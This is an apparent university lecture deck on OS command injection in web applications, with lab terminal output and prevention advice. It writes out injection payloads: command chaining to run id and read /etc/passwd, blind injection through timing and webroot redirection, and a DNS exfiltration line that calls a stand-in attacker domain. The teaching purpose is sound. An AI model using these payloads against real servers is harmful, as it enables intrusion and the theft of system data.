Command Injection

Kameswari Chebrolu

Department of CSE, IIT Bombay

Command Injection

- Attacker can execute arbitrary (OS) commands on a host running the server
  - Occurs when a web applications runs OS commands to interact with the host and file systems
  - Exploits an application vulnerability, such as insufficient input validation
- Can fully compromise the application and its data
  - Can also compromise other systems in the organization exploiting trust relationships

- Hard with programming languages like Java that run in a virtual machine
  - Also doesn't gel with their philosophy
    - Applications should be designed to be portable between different operating systems → Cannot rely on specific OS functions
- OS commands are are more common with interpreted languages (e.g. PHP, Ruby, Python)
  - Python and Ruby are popular for scripting tasks → they support OS command execution well!

Code vs Command Injection

- Code injection: any type of attack that involves injection of code
  - Malicious code is executed in the the language of the application and within the application context
  - Made possible by a lack of proper data validation
  - Confined to the application or system (depends on permissions granted)
  - Examples: XSS (javascript code injection), complex deserialization attacks

- Command injection: any type of attack that involves executing commands in a system shell
  - Shell: A command-line interpreter that provides a user interface for accessing an operating system's services
  - Extends default functionality of the application
    - No malicious code is involved
  - Often gives attacker greater control over the target system

1. Attacker sends shell payload

2. Server executes command

4. Page with output is sent back

3. OS returns output if any

Testing the ground

- Consider a server that checks if a specified server is reachable
  - URL: https://vulnerable-website.com/pingStatus?domain=www.cse.iitb.ac.in
  - PHP code may look like this
    - echo ‘<pre>’
    - $domain = $_GET[domain];
    - echo shell_exec("ping -c 1 $domain");
    - echo ‘</pre>’

shell_exec function executes a shell command and returns output as a string

echo will print the output

- Attacker could submit
  - https://vulnerable-website.com/pingStatus?domain=www.cse.iitb.ac.in; echo gotcha
  - “;” chains commands together (in bash)
  - echo outputs the string supplied
- If attacker sees a “gotcha” in the reply → attack feasible

```
root@docker-desktop:/home/labDirectory# ping -c 1 www.cse.iitb.ac.in; echo gotcha
PING www.cse.iitb.ac.in (10.129.3.3) 56(84) bytes of data.
64 bytes from 10.129.3.3 (10.129.3.3): icmp_seq=1 ttl=64 time=14.6 ms

--- www.cse.iitb.ac.in ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 14.586/14.586/14.586/0.000 ms
gotcha
```

- Earlier injected command echo is pretty harmless!
- More dangerous commands can permit attacker to explore filesystem, read sensitive information, and compromise the entire application
  - id command can identify which “user” is running the web application on the server
    - The corresponding user permissions determine severity of vulnerability
  - cat command can permit attacker to read site’s code

```
root@docker-desktop:/home/labDirectory# ping -c 1 www.cse.iitb.ac.in; id
PING www.cse.iitb.ac.in (10.129.3.3) 56(84) bytes of data.
64 bytes from 10.129.3.3 (10.129.3.3): icmp_seq=1 ttl=64 time=12.3 ms

--- www.cse.iitb.ac.in ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 12.305/12.305/12.305/0.000 ms
uid=0(root) gid=0(root) groups=0(root)
root@docker-desktop:/home/labDirectory#
```

```
root@docker-desktop:/home/labDirectory# ping -c 1 www.cse.iitb.ac.in; cat /etc/passwd
PING www.cse.iitb.ac.in (10.129.3.3) 56(84) bytes of data.
64 bytes from 10.129.3.3 (10.129.3.3): icmp_seq=1 ttl=64 time=5.87 ms

--- www.cse.iitb.ac.in ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 5.870/5.870/5.870/0.000 ms
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
root@docker-desktop:/home/labDirectory#
```

Note

- Different OS have different command separators
  - ; and && and || can work in Linux
  - & is used in Windows

Other Useful Commands

- Name of current user: whoami (both linux and windows)
- Operating system: uname -a (linux); ver (windows)
- Network configuration: ifconfig (linux); ipconfig /all (windows)
- Network connections: netstat -an (both)
- Running processes: ps -ef (linux); tasklist (windows)
- Directory: ls (linux); dir (windows)

Blind Command Injection

- Application does not return the output of the command in HTTP response
- How to check?
  - Inject the following: “; ping -c 10 127.0.0.1”
  - The above command will cause app to ping the loopback address for 10 sec (10 packets, one every sec)
  - Will trigger a time delay which confirms command was executed

How to exploit?

- Redirect output of injected command to a file in webroot
- File can then be retrieved by the browser
- Example:
  - Injection command: “www.cse.iitb.ac.in; whoami > /var/www/static/whoami.txt ;”
    - Applications often serve static content from /var/www/static
    - > character redirects output of command “whoami” to the specified file in webroot
  - Browser can fetch the file via https://vulnerable-website.com/whoami.txt

Another example:

- Injected command: “www.cse.iitb.ac.in; dig `whoami`.web-attacker.com”
  - Backtick performs inline execution of an injected command within the original command
  - This causes a DNS lookup to attacker’s domain
    - Attacker can parse the query to extract the sensitive info

```
root@docker-desktop:/home/labDirectory# dig `whoami`.web-attacker.com

; <<>> DiG 9.18.18-0ubuntu0.22.04.1-Ubuntu <<>> root.web-attacker.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 63208
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;root.web-attacker.com.         IN      A

;; ANSWER SECTION:
root.web-attacker.com.  118     IN      A       91.195.240.94

;; Query time: 9 msec
;; SERVER: 192.168.65.7#53(192.168.65.7) (UDP)
;; WHEN: Sat Feb 10 07:54:13 UTC 2024
;; MSG SIZE  rcvd: 76
```

Prevention

- Do not call OS commands from application-layer code
  - Use safer platform based APIs
  - E.g. If developer wants to send mail using PHP
    - Do not use mail command available in OS
    - Use mail() function in PHP
  - Can enforce this by disabling dangerous function
    - E.g. configure the php.ini file to block dangerous commands by adding below line
      - disable_functions=exec,passthru,shell_exec,system

- If unavoidable (e.g. ping is not supported in PHP), do input validation
  - Validate against a whitelist of permitted value
  - Validate that the input is a number or an IP address (based on context)
  - Validate input contains only alphanumeric characters, no other syntax or whitespace
  - Remember input can come not only from GET/POST but also from HTTP headers, JSON or XML data etc

- If possible, avoid blacklisting or sanitizing input by escaping shell metacharacters
  - Too error prone, determined attacker can often bypass
  - In PHP, you could use escapeshellarg and escapeshellcmd functions
    - $domain = escapeshellarg($_GET['domain']);
  - If blacklisting is unavoidable, filter or escape the following special characters:
    - Windows: ( ) < > & * ‘ | = ? ; [ ] ^ ~ ! . ” % @ / \ : + , `
    - Linux: { } ( ) < > & * ‘ | = ? ; [ ] $ – # ~ ! . ” % / \ : + , `

- To escape shell characters, one can also invoke calls with arrays instead of strings
- In Python, (first option is bad, uses string!)
  - ```
    from subprocess import call

    command = "dig" + domain
    call(command)
    ```
    vs
  - ```
    from subprocess import call

    call(["dig", domain])
    ```
- In Ruby (similar to Python)
  - ```
    system("dig #{domain}")
    ```
    vs
  - ```
    system("dig", domain)
    ```

- Automate testing for command injection in build pipeline

Real World Example

Polyvore ImageMagick: https://nahamsec.wordpress.com/2016/05/09/exploiting-imagemagick-on-yahoo/

Summary

- Command Injection allows attacker to execute arbitrary (OS) commands on a host running the server
  - Difficult in Java, but possible in PHP, Python, Ruby
- Dangerous commands can permit attacker to explore filesystem, read sensitive information, and compromise the entire application
  - Blind command injection can also be leveraged
- Prevention: do not call OS commands; input validation via whitelisting, blacklisting, automate testing for injection

References

- https://portswigger.net/web-security/os-command-injection